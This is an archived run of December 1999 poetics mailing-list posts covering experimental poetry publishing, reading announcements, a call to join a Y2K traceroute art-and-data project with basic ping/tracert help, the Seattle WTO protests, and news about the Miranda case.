Make it a more marketable commodity? No, I don't think I'm suggesting <more marketable> or <more commodity>. I am suggesting that the world's not as black and white as it used to be. If Barnes and Noble and Borders suddenly noticed 5-10 years from now that they were stocking experimental poetries they'd never have conceived of stocking by themselves, if it suddenly dawned on them that somehow they'd been unwittingly turned into a bit of a library and that in fact it wasn't even doing them any harm, and if some <fun> and <pranks> added a few new twists to the existing macrofabrics of accessibility, what harm? It's kind of like having the power to hack against militarism--do ya do it or do ya resist risking crossing into <cracker-dom>?

It was like this: I was reading one of the Best American Poetry issues. A handful of experimental poets, 85 percent mainstream. An experimental mag here or there, _APR_, and the various _Reviews_ and other sad mags making up the bulk. I laughed to myself, What if So-n-So or So-n-So from our side of the tracks had been the editors, and what if the bulk of mags/journals represented had been experimental mags? Ah, but that couldn't happen; this is a Barnes and Noble and this is Best American Poetry. Or wait a minute... Call it _Blah Blah Blah On-line_ (never even intending to restrict it to American, for that matter), borrow their infrastructure, and launch what the average B&N patron (or regional buyer) would never even realize reflected an entirely different agenda? To compete with Best American Poetry? No, not really, exactly, maybe... Rather, cooperating...

Arbitrating what is the Best? No, not that at all, as it is indeed, I agree, an undesirable. Rather, <Best>, like <American>, is largely a ruse, another fun trick or game. Trying to WIN? No, no, no. Please don't misunderstand me.

I, too, imbue these answers to your good and gentle questions with more intensity than I like. And I wish none of that on you, old chap, always one I've much respected. I do, though, want to make clear the essentially mischievous nature of my note. It's probably, in fact, more a satirical slant on BAP and what's available in mainstream stores/colleges etcetera than a serious plan of action. Though, smile, I think it would be hilarious to see a chance-operationally-selected experimental journal or two in big, naive stores.

Bests, Steve

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105. Roger Day

Re: The Traceroute Project - Please Participate (fwd)

Wed 8 Dec 1999

A tiny voice of caution here - too many people doing this, might well just add to the general chaos. Don't forget, people will be bunging up the network with all

kinds of nonsense at this time as well - you know, multi-media emails sending millenium messages , christmas messages, all sorts of real-time hook-ups using webcams etc etc. There might well be other institutions/bodies who have similar ideas as this. The more I write, the more I think that the net will grind to a standstill - and not because of Y2K problems, either. In engineering terms, this is called stress-testing.

At 1999-12-05 05:08:11, Alan Sondheim <[redacted]> wrote:
\
#
(The following description is at http://trace.ntu.ac.uk in the trAceroute
conference. I'm looking for participants - if you're interested, please
write into it. Thank you greatly - Alan)
#
Topic:
About the Traceroute Project (1 of 3), Read 16 times
Conf:
NEW! trAceroute
From:
Alan Sondheim ([redacted])
Date:
03 December 1999 08:24 AM
#
#
#
Hi - I'm asking everyone to participate in the TRACEROUTE PROJECT, which
really occurs on December 31 and January 1. Traceroute is a utility which
comes with the unix or linux operating system - there is a version in
Win95 and Win98 called tracert. It is a way to track the path from your
computer to a site anywhere in the world. For example, if you are in
Australia, at Murdoch University, you could type
#
tracert columbia.edu
#
at the DOS prompt in Windows 95 0r 98, and you would have a chart of the
route between Murdoch and Columbia University in New York, USA.
#
Traceroute or tracert works by looking at the route between your computer
and your target address, and sending signals to every machine between the
two - three signals (usually) per machine. The machines then send return
signals, and traceroute gives you the round-trip time for each of the
three.

```
#
#  Traceroute is used by system administrators and people like me to look at
#  the "health" of the Internet as a whole - it tells you which machines
#  aren't responding, for example (those which send back asterix such as *).
#  It's incredibly useful.
#
#  Between December 31 and January 1, almost all the Y2k problems on the Net
#  will be visible thorugh traceroute. The idea of this project is to gather
#  a huge sheaf of data, illustrating the world-wide state of the Internet as
#  the millennium starts. (The millennium takes a day to start world-wide,
#  because of the time zones.)
#
#  What I would like from participants is a group of traceroutes sent to
#  Trace (we'll let you know where), accompanied by your name.  There is some
#  technical information below (taken from a few posts I made) that indicates
#  how to do this. It would also be great if you could include a description
#  of Y2k problems in your location - for example, subways out, flickering
#  lights, and so forth - and give your location as well. All of this will be
#  included in the final report.
#
#  None of this will be graphic or great looking - but it will be an amazing
#  compendium of the state of the earth at a critical time for humanity...
#
#  Please participate! Please post questions here!
#
#  Alan - and thank you!
#
#  (Below is the information from the other posts - you can ignore this if it
#  is too technical.)
#
#  I would like to start, almost immediately, thinking about doing
TRACEROUTE
#  (traceroute) commands in linux or unix across the millennial hinge (i.e.
#  during the day the time shifts over), reporting back on speed etc. between
#  nodes etc. as the millennium arrives and Y2k does or does not come to
#  fruition. Please let me know if you are interested in participating - you
#  would have to have access to some traceroute program, and the ability to
#  convert the results to a text file; we'll try and establish a site for
#  placing these...
#
#  Here is some additional information from correspondence with Steen - Alan
#  -
```

#
> Tracking servers - for example the command {k:1}traceroute
> trace.ntu.ac.uk gives of course the traceroute for trace from
> panix.com for me. I would track 'representative sites' -
> cleo.murdoch.edu.au for example is at the antipodes from NYC - in
> Perth. Also would trace random sites in Canada, across the US
> naturally, Japan. There are people in Finland who would do the same.
> So the origin of the tracking, for the most part, would be in relation
> to the participants - and the goal would be what would appear, to
> them, to be representative sites world-wide. > I've used about 5-6
> graphic traceroutes, and find in general they're more trouble than
> they're worth. One, PingPlotter, is pretty good, and you can save the
> traceroutes as images as well as text. The advantage of text is that
> you've got databases you can manipulate of course. It seems to me
> there are two kinds of graphics involved - those that represent geo-
> graphic information, mapping, etc. and those that plot times -
> PingPlotter is of the latter, which is more useful.
>
> The idea behind all of this is to consider the telecom internetting of
the
> world as a membrane, and to examine its condition, situation, on the
hinge
> of the millennium - how is connectivity functioning in light of - 1.
> who is and who is not wired in the first place and - 2. y2k and other
> (what are now) geopolitical problems. I'm fascinated by the idea of a
'snapshot'
> are now) geopolitical problems. I'm fascinated by the idea of a
'snapshot'
> of the planet in this regard. I've always found aesthetic value in
trace-
> route (and ping -s) since it really represents the bones, underlying
> structures of the Net, manifesting themselves...
#
#
#
And here is additional information. If you are on Windows 95 or 98, and
can access DOS (I'm not sure about G3 or G4 or IMac but there must be
utilities available):
#
#
Some tools for using with the Traceroute Project for Windows (tested for
Win98):

```
#
#
#  PING:
#
#  Usage: ping [-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS]
#  [-r count] [-s count] [[-j host-list] | [-k host-list]]
#  [-w timeout] destination-list
#
#  Options:
#  -t Ping the specifed host until stopped.
#  To see statistics and continue - type Control-Break;
#  To stop - type Control-C.
#  -a Resolve addresses to hostnames.
#  -n count Number of echo requests to send.
#  -l size Send buffer size.
#  -f Set Don't Fragment flag in packet.
#  -i TTL Time To Live.
#  -v TOS Type Of Service.
#  -r count Record route for count hops.
#  -s count Timestamp for count hops.
#  -j host-list Loose source route along host-list.
#  -k host-list Strict source route along host-list.
#  -w timeout Timeout in milliseconds to wait for each reply.
#
#
#  TRACERT (traceroute):
#
#  Usage: tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout]
#  target_name
#
#  Options:
#  -d Do not resolve addresses to hostnames.
#  -h maximum_hops Maximum number of hops to search for target.
#  -j host-list Loose source route along host-list.
#  -w timeout Wait timeout milliseconds for each reply.
#
#  NETSTAT:
#
#  Active Connections
#
#  Proto Local Address Foreign Address State
#
```

#
Netstat tells you the Network statistics; both tracert and ping are very
configurable. As you may know, you can also do ftp and telnet from the
prompt.
#
If you do, say, tracert to panix.com, you would do tracert panix.com >
trace.txt for example - which places the output in trace.txt. You may have
to go back in and add the command "tracert panix.com" to the top of the
file. If you then want to do, say, tracert trace.ntu.ac.uk and put it in
trace.txt next, you would do tracert trace.ntu.ac.uk >> trace.txt The
double carets >> mean "add to" and not "replace" - otherwise the trace.txt
will be replaced. The same goes for ping or other commands.
#
This way, you can build up a file of traceroutes to send on - configured
as you see fit. You might also use ping at times.
#
- Alan
#

Roger

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106. Ron Silliman
webcast recording now available
Wed 8 Dec 1999

From: Al Filreis <[redacted]>
To: <[redacted]>
Sent: Tuesday, December 07, 1999 11:52 PM
Subject: webcast recording now available

The recording of the symposium held earlier tonight at the Kelly Writers House in Philadelphia - featuring Ron Silliman, Jena Osman, Bob Perelman, and Brian Kim Stefans, and interactions with, among others, Tom Orange from Washington, Alan Golding from Louisville, and Patrick Durgin from Iowa - is now available. Go here:

www.english.upenn.edu/~wh/webcasts/symposium.html

and click on "A recording of this event is available."

You will need a RealPlayer to view this file. (To download a free RealPlayer, go here: www.real.com.)

Al Filreis
The Class of 1942 Professor of English

Faculty Director, the Kelly Writers House
University of Pennsylvania

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107. Michael Bibby
Re: Class & Poet[ry/ics]
Wed 8 Dec 1999

---

hi, aldon & gang:

"Nielsen, Aldon" wrote:

> *Not only do the North American "whiteness studies" bunch not concern themselves with Byron, they tend not to address poetry at all*

although i don't consider myself part of the "whiteness studies" bunch, i'm currently working on a study of articulations of whiteness in mid-century poetics, esp. in New Criticism and postwar cosmopolitanism--i've got a ways to go on this, so any suggestions out there would be most appreciated--

in the main, though, Aldon's right about the lack of any attention to poetry/poetics in the current interrogations of whiteness--what gives on this? if anyone on the list knows of work being done in this area, please post--

michael bibby

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108. Poetics List
let's hear it for J H PRYNNE! / Hollo
Wed 8 Dec 1999

This message came to the administrative account. Apologies for the delay. Chris

---------- Forwarded Message ----------
Date: Thu, Dec 2, 1999 12:06 PM +0000
From: [redacted]
Subject: let's hear it for J H PRYNNE!

Check out <http://www.surveyplace.com/tny>

Itís The New Yorkerís first-ever ìbest books of the yearî contest!

In the Poetry category, there is a short list of five, one of which, quite surprisingly, is J.H. (Jeremy) PRYNNE, his COLLECTED.

If you know his work, do vote for him. If you donít know his work, or donít know it all that well, vote for him anyway: Itíll be a strike for INTELLIGENCE, INTEGRITY, WIT, and ìMAKING STRANGE.î Our kind of guy. (!)

(For the Nonfiction category, I recommend Edward Saidís autobiography. Fiction -- youíre on your own.)

Cheers,

Anselm Hollo

---------- End Forwarded Message ----------

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109. Poetics List
Art in Germany Crosses Borders / Weiss
Wed 8 Dec 1999

This message came to the administrative account.
Apologies for the delay. Chris

---------- Forwarded Message ----------
Date: Fri, Dec 3, 1999 9:25 PM +0000
From: Irving Weiss <[redacted]>
Subject:

From NY Times, Sunday

Art in Germany Crosses Borders
NYTimes , Thursday, December 2, 1999
by Alan Riding
The 20th Century: A Century of Art in Germany
Three Berlin Galleries through January 9

"One of the most intriguing works is Peter Bisseger's reconstruction of Kurt Schwitter's Merzbau that visitors can enter. Different expressions of memory are found in Arnold Dreyblatt's "From the Archives," where 10,000 names and identities taken from the 1933 volume "Whos Who in Central and Eastern Europe" are continuously projected onto a transparent circular screen."

I excerpt part of paragraph because of the Schwitters but also because I am especially interested in calling attention to the great work of the American composer and interactive multimedia artist Arnold Dreyblatt--just in case any of you are in Berlin before closing date.

http://www.dreyblatt.de/

---------- End Forwarded Message ----------

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110. **Poetics List**

M. Palmer and H.Q. Tu Reading at SPT 12/10 / saidenberg

Wed 8 Dec 1999

I had to reformat this message. Chris

--

Date: Mon, 6 Dec 1999 11:52:10 -0800
From: jocelyn saidenberg <[redacted]>
Subject: M. Palmer and H.Q. Tu Reading at SPT 12/10

Small Press Traffic Reading
Friday, December 10, 7:30 p.m.
Michael Palmer
Hung Q. Tu

Michael Palmer's name is known all over the world, a metonym for the allusive, lyric, and speculative poetry that he has been writing since the mid-sixties. Michael Palmer is the author of several books of poetry and translations including The Lion Bridge (Selected Poems 1972-1995), (New Directions, 1998), The Danish Notebook, (Avec Books, 1999), and forthcoming in Spring 2000 The Promises of Glass from New Directions. Palmer is the sage of the unknown, the unverifiable, the poet who promises nothing, withholds less. He asks us not what comes between poetry and its audience, but what poetry reaches toward. In his extension of modernism, and the weary beauties of his life work, what goes toward has yet to spring back, the feelers are out there still, unrelenting tentacles of the proprioceptive.

Hung Q. Tu was born in Vietnam and raised in San Diego. His first book, A Great Ravine, was published by Parenthesis Writing Series and a second, Verisimilitude, is forthcoming through Atelos Press. He received a BA in Literature from UC San Diego, and an MFA in Creative Writing from San Francisco State University. Recent work can be found in such journals as Poetics Journal and Crayon. He is a co-editor of Krupskaya. His writing is dizzy, almost crazy, at the juncture of a number of language practices and social and cultural signposts. In the work of Hung Q. Tu, a fever state of waking and noticing makes mincemeat out of fugue state, tabloid headlines out of headless tap shoes. Under the control of the beast, the world spins, and Hung Q. Tu hangs on by the fingertips, getting bigger than the beast, the world, the nails steely and invitational.

New College Cultural Center
766 Valencia Street, San Francisco
$5

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111. Wright Laura E
Re: Seattle businesses boycott
Wed 8 Dec 1999

It's almost impossible not to use Windows -- tho I hear there's to be a similar operating system available free- or share-ware soon. BUT one can try not to BUY microsoft products, even if one uses them.

A boycott of corporations would be much more to the point than a boycott of Seattle businesses. If you're not already avoiding the biggies (Starbuck, Barnes & Noble, etc.), shame on you. And don't forget to bring your own cup.

What does this have to do with poetics? Everything...

"I would sooner read a timetable or a catalogue than nothing at all."
-W. Somerset Maugham

Laura E. Wright
Norlin Acquisitions
[redacted]

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112. Poetics List
news and petitions
Wed 8 Dec 1999

The preceding message may serve as a reminder to subscribers that, when forwarding petitions or news, it may be wise to:

1. Check for a date - many 'news' items and especially many petitions continue to circulate through the web for years at a time;

2. Verify with those concerned - if the item mentions a person or organization, contact the party in question or check to see whether they have a web site that may address the issue as current;

3. Verify using other sources - cross-check the item with its source (e.g., the news organ in which it was originally published) or with other sources.

In general, one should be very suspicious of items received by email that cite no date, originary source, or source by which to obtain further information.

Chris

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113. MAXINE CHERNOFF
Re: news and petitions
Wed 8 Dec 1999

Reading on Thursday, Dec. 9, 5:30 pm, Ferguson Theater, Columbia College, 600 S Michigan, Chicago, IL:

Susan Wheeler and Paul Hoover

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114. Brent Long
Re: WTO
Wed 8 Dec 1999

I had heard of no such thing myself. Maria, would you mind passing along where you heard/read this? I'm sure you're correct, but I would like to follow this a bit more closely and G-d knows we won't hear much about it from the mainstream media.

Any word on WHEN the SJC will hear this argument?

-----Original Message-----
From: UB Poetics discussion group
[mailto:[redacted]]On Behalf Of Maria Damon
Sent: Tuesday, December 07, 1999 6:51 PM
To: [redacted]
Subject: Re: WTO

apropos this debacle, did anyone see in the paper that the supreme court is going to hear a case challenging the consitutional necessity of the Miranda Laws????what next???this seems as mindbogglingly cynical as their decision, about 7-10 years ago, to no longer hear capital punishment appeals because they were "too costly."

At 12:32 PM -0500 12/3/99, Patrick Herron wrote:
>David Bromige wrote -
>
>>Cities will have to live with the fact that the USA allows peaceful
>assembly of dissidents.
>
>Unfortunately, David, to be quite frank, Amerika DOES NOT allow peaceful
>assembly that much any more. The legal protections for peaceful protesters
>have been disappearing for a long time.
>
>Amerika is a police state. Your only protection in Amerika is money,
>connections.

>
>Land of the free, home of the brave
>is really
>land of the fee, home of the knave.
>
>And then, lest we forget, there's always agent provocateur activities
within
>many political movements in the US, people paid to make the peaceful look
>violent.
>
>This was a wonderful note, David. I am very glad you shared it with
>everyone. What you are saying in your note is indeed what is going on. I
>have a good friend who is at Capitol Hill in the middle of it and I am
>worried about him.
>
>Under a state of emergency, the city of Seattle made it illegal to use a
>gaskmask, and the penalty is 180 days in jail and/or a large fine.
>
>Patrick
>
>
>
>_____
>Get Your Private, Free Email at http://www.hotmail.com

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115. ART ELECTRONICS

Karenina.it News

Wed 8 Dec 1999

KARENINA.IT
karenina.IT Experimental Web-Zine
Directed by Caterina Davinio
http://geocities.com/Paris/Lights/7323/kareninarivista.html

News:

Karenina.it for Rome Biennale:
> Biennale di Roma. Un grande progetto dedicato alle arti elettroniche, alla televisione di qualità, all'editoria multimediale /
Rome Biennale. A great project dedicated to electronic art, television, multimedia publishers
di / by Marco M. Gazzano

Karenina.it for Mediaterra 99
> Mediaterra 99 / Atene. Un festival dedicato a progetti sperimentali di arti elettroniche dell'area balcanica e del Mediterraneo
Mediaterra Festival is an attempt to realize a map of artistic experimental digital & web works of the Mediterranean and Balkan area

Teorie / Theories

> Interactive poems: intersign perspective for experimental poetry
di/by Philadelpho Menezes

> La virtualizzazione delle pratiche comunicative: l'ipertesto / Virtualisation Of The Communication Practices: The Hypertext
di/by Paolo Ferri

> Scrittura e nuove scienze: Poesia e scienza / Writing and New Sciences: Poetry and Science
di by Gio Ferri

Concorsi / Competitions

>"La piazza e il volto"
Concorso a premi per giovani artisti / Competition for young artists
Maquette, film o video, virtual projects for Internet, publications

Libri / books

> *Poesia/Poetry Segnalazioni*

Reportages
E' successo a... / It has happened...

> *Europa Festival di Ferentino / Flash Opera*
>
> *Jean-Jacques Lebel a Napoli*
>
> *Teatro Totale / Aree Intermediali / Total Theatre Intermedial Areas / Roma*
>
> *Artmedia VII / Festival / Salerno - Napoli*
>
> *Computer, letteratura e filologia / Meeting / Roma*
>
> *Romapoesia / Africa Poesia / Roma*

> Sulmona Cinema. L'ultima estate del 900 / Sulmona Cinema. The last Summer
of 900

> Manifestazioni, festivals, convegni nel mondo / Manifestations, Festival, Meetings (Generative art in Milan, Video Festival in Monterrey, other exhibitions)

Link / Links

>I nuovi link / The New Links (Controllate se ci siete! / Control if you are there!)
>Tutti i link di poesia sperimentale / All Experimental Poetry Links
di / by Caterina Davinio

Karenina.IT Karenina.IT Experimental Net-Zine
http://www.geocities.com/Paris/Lights/7323/kareninarivista.html

Chosen with care <Links and Books> (but not only)

Updated version of the site KARENINA.IT

karenina.IT is a meeting virtual place, and a site for debate between critics, theories, artists, cultural operators, which realises a map of Italian and international research.

Karenina.it promotes publications, events and relevant initiatives about not commercial experimental projects.

In our pages "Chosen With Care" you are going to find: critical reports, releases, links and information about electronic art, art in the Internet, experimental literature, performative and visual poetry, multimedia, articles about exhibitions, meetings and festivals, editorial news and more.

The site realisation (by Caterina Davinio [redacted]) presents hypertext-visual incursions, which bring in the net and combine with telematic communication some techniques typical of the visual poetry. "Karenina.IT" utilises textual and not-textual objects found in the Internet, digital ready made and fragments of virtual reality; in Karenina the acquisition and the transit of the information is act of the performance and net-art opera structure.

"karenina.IT" co-operates with "Testuale", Italian literary critic review, and has opened a section called "Imaginary Codes" dedicated to techno-cultures, visions and theories of the Net, in which the same titled fanzine from Rome is published.

All the persons interested in our project are asked to diffuse this communication and the site address. English in not our mother language. Who finds some mistakes is asked to send to us a correct version of the texts. People who can translate "karenina.it" Italian pages into English or who can contribute with reports in Italian, English, Spanish or French are welcome!

Karenina.it is an open project. Among the numerous co-operators we remember:

Mirella Bentivoglio (visual poetry), Tomaso Binga, Paolo Guzzi, Massimo Mori (visual, performative and sonore poetry), Antonio Caronia (horror and science fiction literature), Caterina Davinio (electronic writings and arts, videopoetry, literature), Gio Ferri (literary criticism, multimedia), Paolo Ferri (hypertext

theory), Marco Maria Gazzano (electronic art, video art), Marco Minicangeli (noir literature), Francesco Muzzioli (literary criticism), Clemente Padin, Philadepho Menezes (experimental poetry), Roberto Terrosi (philosophy & the arts), Tommaso Trini (arts), Nando Vitale (imaginary codes).

For proposing your reports and give information about: theories, books, meeting, manifestations, links or else write to "Karenina.IT" redaction Karenina.it

Or to the art director Caterina Davinio [redacted]

Karenina.it is a production:

Davinio Art Electronics - Archives/Videotheque / Rome / Milan
Art Electronics and Other Writings
http://space.tin.it/arte/cprezi

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116. Poetics List
Essays and reviews sought / Sullivan
Wed 8 Dec 1999

This message came to the administrative account. Chris

---------- Forwarded Message ----------
Date: Thu, Dec 9, 1999 1:47 AM -0500
From: Gary Sullivan <[redacted]>
Subject: Essays and reviews sought

Hello everyone,

I've got enough interviews to last me for a while, I think, but I'm really short on essays and reviews. Please get in contact me if you have anything, or would like to work on something, for the Winter 2000 Readme. Deadline's, oh, mid-January, I guess.

Many kind thanks,

Gary Sullivan
Email: [redacted]
Home Page: http://www.jps.net/nada/gsull.htm
Readme: http://www.jps.net/nada

---------- End Forwarded Message ----------

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117. Tony Green
Re: space is the place
Wed 8 Dec 1999

Todd Baron wrote
Date: Thursday, 9 December 1999 07:36
Subject: space is the place

> *thanks to all*
> *for "first american poem" response.I think the list works best for me*
> *when*
> *there is this dialogue. and*
> *thinking of Robert Duncan and his*
> *"poetics of co-response" he talked of*
> *--this--is so important to me.*
> *so: then: reading "Our Town" , thinking of Williams*
> *and the particular--and Oppen (Beautiful Particulars, also)*
> *--what do you think of a poetics of the local (olson?)*
> *that has the inter-net as place?*
>
> *per this conversation regarding*
> *an anthology of poetics from this space.*
>
> *What happens to place*
> *when place is*
> *all over?*

according to v recent predictions regarding polar
ice-cap melting PLACE is due for some very rapid
alteration 70m more water in 5 generations counted
as 50 years per generation = 250 years will make
the flooding of Venice look like kid's stuff

moral:
poetry will have no choice but to make for the higher ground

I send greetings for the festive season from the highest point of Auckland's North Shore, the future Verran's Corner Island

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118. Pritchett,Patrick
Re: Jacobs & Kellow Thursday 12/16
Wed 8 Dec 1999

> *LEFT HAND READING SERIES PRESENTS:*
>
> *J. L. JACOBS*
> *&*

> *JOHN KELLOW*
>
> *Thursday, December 16 at 8:30pm*
> *Left Hand Books, 1825 Pearl Street, between 18th & 19th, above the Crystal Market.*
>
> *J.L. Jacobs is the author of "The Leaves in Her Shoes," and "Varieties of Inflorescence." A gradaute of the MFA program at Brown, her work has appeared in New American Writing, Talisman and First Intensity, among others. She makes her home in Valliant, Oklahoma.*
>
> *John Kellow is the publisher of Emerson's Eye Press and the literary arts writer for the Boulder Planet, where he vigorously promotes the work of local authors. This is his debut as a featured reader.*
>
> *On a personal note: this reading marks the end of my participation as the co-director of the series. Mark DuCharme will continue as co-director and will be joined by the very capable Laura Wright. Please give them your full support. Thanks to everyone who helped make this series such a success over the past two years.*
>
> *Patrick Pritchett*

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119. **Lawrence Upton**

Re: Seattle businesses boycott

Wed 8 Dec 1999

Linux?

It's here

L

----- Original Message -----
From: Wright Laura E <[redacted]>
To: <[redacted]>
Sent: 08 December 1999 18:12
Subject: Re: Seattle businesses boycott

| It's almost impossible not to use Windows -- tho I hear there's to be a
| similar operating system available free- or share-ware soon. BUT one can try
| not to BUY microsoft products, even if one uses them.
|

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120. **Trace Ruggles**
Re: WTO
Wed 8 Dec 1999

Here's one very short article about the Miranda case...
http://news.excite.com/news/r/991207/06/ut-state-news-3

> *-----Original Message-----*
> *From: Brent Long [mailto:[redacted]]*
> *Sent: Wednesday, December 08, 1999 12:33 PM*
> *To: [redacted]*
> *Subject: Re: WTO*
>
> *I had heard of no such thing myself. Maria, would you mind passing along where you heard/read this? I'm sure you're correct, but I would like to follow this a bit more closely and G-d knows we won't hear much about it from the mainstream media.*
>
> *Any word on WHEN the SJC will hear this argument?*
>
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> *From: UB Poetics discussion group [mailto:[redacted]]On Behalf Of Maria Damon*
> *Sent: Tuesday, December 07, 1999 6:51 PM*
> *To: [redacted]*
> *Subject: Re: WTO*
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> *At 12:32 PM -0500 12/3/99, Patrick Herron wrote:*
> *David Bromige wrote -*
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> *Cities will have to live with the fact that the USA allows peaceful assembly of dissidents.*
>
> *Unfortunately, David, to be quite frank, Amerika DOES NOT allow peaceful*

> *assembly that much any more. The legal protections for peaceful protesters have been disappearing for a long time.*
>
> *Amerika is a police state. Your only protection in Amerika is money, connections.*
>
> *Land of the free, home of the brave is really land of the fee, home of the knave.*
>
> *And then, lest we forget, there's always agent provocateur activities within many political movements in the US, people paid to make the peaceful look violent.*
>
> *This was a wonderful note, David. I am very glad you shared it with everyone. What you are saying in your note is indeed what is going on. I have a good friend who is at Capitol Hill in the middle of it and I am worried about him.*
>
> *Under a state of emergency, the city of Seattle made it illegal to use a gaskmask, and the penalty is 180 days in jail and/or a large fine.*
>
> *Patrick*
>
> ---
>
> *Get Your Private, Free Email at http://www.hotmail.com*

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121. **Poetics List**

Miranda news

Wed 8 Dec 1999

With regard to the Miranda ruling, the most recent news of which I'm aware is what follows: a February case held in the Fourth Circuit Court of Appeals. Likely as not, this is moving forward to the Supreme Court now.

Dismay is not inappropriate, perhaps, but also hinges on the belief that you've always had "the right to remain silent" or that any such right is worth the paper it is written on; I don't suppose, for example, that Miranda was of much use to Abner Louima. An extreme example, perhaps, but there are innumerable cases on record of suspects' rights being infringed upon in varying degrees - from hours-long delays in reading the prepared statement associated with the Miranda ruling to outright violence; In general, I would say there is a strong relationship between race and class on the one hand and protection under the law on the other. It may also be worth mentioning that the U.S. Justice Department has never employed Miranda, having considered the ruling to apply only to state and local police.

This is not to say that Miranda should be over-ruled - and "conservative" groups such as the National Center for Policy Analysis have fought for years to have it done away with - but rather that the degree of protection it actually provides, and to whom, is a questionable matter indeed.

A series of articles by Jan Hoffman, published in The New York Times, may be of interest on this count:

Some Officers Are Skirting Miranda Restraints to Get
Confessions (March 29) - Pointing out how the bright
line rule has been so weakened by exceptions and
workarounds that it no longer has significant meaning.

When Warning Is Little More Than a Speed Bump (March 29) # - Portions of a law enforcement training video on the how # ignoring Miranda has negligible effect on a prosecution.

As Miranda Rights Erode, Police Get Confessions From # Innocent People (March 30) - The how and the why of false # confessions, and why they're so easy when the principles # of fairness inherent in Miranda are ignored.

Of further interest may be this article by Special Agent Kimberly A. Crawford of the FBI Academy, in which she reviews restrictions placed by courts on the use of Miranda, and gives suggestions as to how these restrictions can be used by law enforcement agencies to work around the ruling which, she asserts, "has such an onerous impact on law enforcement's ability to conduct interrogations."

<http://law.tqn.com/medianews/law/gi/dynamic/offsite.htm?site=http://emergency.com/miranda.htm>

Christopher W. Alexander
poetics list moderator

--

In a surprise ruling, a U.S. Court of Appeals has decided that the famous "Miranda warnings," required of police as a precursor to admissible confessions by the U.S. Supreme Court in the 1966 case of Miranda v. Arizona, were actually made optional in federal court by a federal statute passed into law in 1968.

The Fourth Circuit Court of Appeals, in a 2-1 panel decision last week in U.S. v. Dickerson, ignored the Justice Department's stated policy position to the effect that the statute is unconstitutional under Miranda and subsequent cases. In spite of a complete lack of briefing or argument by the parties, the court chose to take the lead suggested by an amicus (friend of the court) brief, to bring an issue debated in academia to real life.

The majority of the panel found that Miranda is not really based in the constitution, and that as such, it can be and was overruled by the 1968 federal law, which discusses the admissibility of confessions in federal courts.

from About.com
"Miranda Warnings Optional? Fourth Circuit Forces Issue"
Dateline: 02/17/99

<http://law.miningco.com/medianews/law/library/weekly/aa021799.htm?TMog=564 73413572648&Mint=56473413572648&FFV=1>

--

OPINION
Circuit Judge Williams

In response to the Supreme Court's decision in Miranda v. Arizona, 384 U.S. 436 (1966), the Congress of the United States enacted 18 U.S.C.A. § 3501 (West 1985), with the clear

intent of restoring voluntariness as the test
for admitting confessions in federal court.

Although duly enacted by the United States Congress
and signed into law by the President of the United
States, the United States Department of Justice has
steadfastly refused to enforce the provision. In fact,
after initially "taking the Fifth" on the statute's
constitutionality, the Department of Justice has now
asserted, without explanation, that the provision
is unconstitutional. With the issue squarely
presented, we hold that Congress, pursuant to its
power to establish the rules of evidence and
procedure in the federal courts, acted well within
its authority in enacting § 3501. As a consequence,
§ 3501, rather than Miranda, governs the
admissibility of confessions in federal court.
Accordingly, the district court erred in suppressing
Dickerson's voluntary confession on the grounds that
it was obtained in technical violation of Miranda.

from UNITED STATES COURT OF APPEALS FOR THE FOURTH CIRCUIT No. 97-4750, U.S.A. versus CHARLES THOMAS DICKERSON

<http://www.law.emory.edu/4circuit/feb99/974750.p.html>

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122. Joe Brennan
Re: WTO
Wed 8 Dec 1999

---

what follows is from the Dallas Morning News regarding the Supreme Court review of the constitutional requirement for Miranda rights.....

Supreme Court will review landmark Miranda ruling
Little-used law says warning to suspects not always needed

12/07/99

By David Jackson / The Dallas Morning News

WASHINGTON - When Arizona police obtained a confession from Ernesto Miranda in 1963, the Supreme Court responded with one of its most famous edicts: Police must tell suspects they have the right to remain silent and retain a lawyer.

THE MIRANDA WARNING
Since 1966, police nationwide have carried small cards with the warnings that criminal suspects are entitled to receive before being questioned. The wording can vary slightly. Here is a typical version:
â€¢ You have the right to remain silent.
â€¢ Anything you say can be used against you in a court of law.
â€¢ You have the right to the presence of an attorney to assist you prior to questioning and to be with you during questioning if you so desire.
â€¢ If you cannot afford an attorney, you have the right to have an attorney appointed for you prior to the questioning.
â€¢ Do you understand these rights?
SOURCE: Associated Press

Now the high court is having second thoughts, inspired by a 1997 conversation between law officers and Maryland resident Charles Dickerson.

The justices agreed Monday to review the landmark Miranda ruling of 1966, setting up a legal battle royal over the rights of police and defendants, especially low-income and ill-educated ones.

"In the most basic sense, what's at stake is how police are required to protect an individual's constitutional rights," said James W. Hundley, a Virginia lawyer who defended Mr. Dickerson against a robbery charge.

A federal judge dismissed Mr. Dickerson's statements about the robbery, saying officers used them to obtain a search warrant before reading him his Miranda rights.

The 4th U.S. Circuit Court of Appeals, based in Richmond, Va., reinstated the case, citing a little-used congressional law passed in 1968.

That law - which says Miranda warnings are not required if confessions are voluntary - has been the legal weapon of choice for lawyers who call the Miranda ruling "pro-criminal."

"There are tens of thousands of crimes that go unsolved every year because of the Miranda rules," said Paul Cassell, a University of Utah law professor who has waged a six-year campaign to overturn the Miranda decision.

The Supreme Court invited Mr. Cassell to participate in arguments next year. The justices will decide the case sometime before July.

Familiar phrases

Thanks to TV cops like Joe Friday, millions of viewers are familiar with the Miranda warning typed onto small cards issued to police officers. Chief Justice Earl Warren supplied the wording in one of his court's most praised and criticized rulings.

The Miranda decision came to symbolize the more liberal approach of the Warren court. In the decades since, the court has grown increasingly conservative, tending to stress police rights over those of defendants.

The case began with the kidnapping and rape of a Phoenix woman on March 2, 1963. Eleven days later, police arrested Mr. Miranda, obtaining a confession after two hours of private interrogation. A jury convicted him and sentenced Mr. Miranda to 20 years.

In appealing to the Supreme Court, defense attorney John Flynn argued that, unlike wealthy or well-connected defendants, an eighth-grade educated indigent like his client had no idea he was entitled to a lawyer.

"He was called upon to surrender a right that he didn't fully realize and appreciate that he had," Mr. Flynn told the high court.

Gary Nelson, an assistant attorney general for Arizona, countered that if police suggested defendants retain lawyers, it would effectively end all interviews.

In writing for a 5-4 majority, Chief Justice Warren stressed the psychological relationship between police and defendants.

He said officers are trained to worm confessions out of people by assuming their guilt, then encouraging them to talk by blaming their problems on society.

"This atmosphere carries its own badge of intimidation," Chief Justice Warren wrote. "To be sure, this is not physical intimidation, but it is equally destructive of human dignity."

Justice White's fears

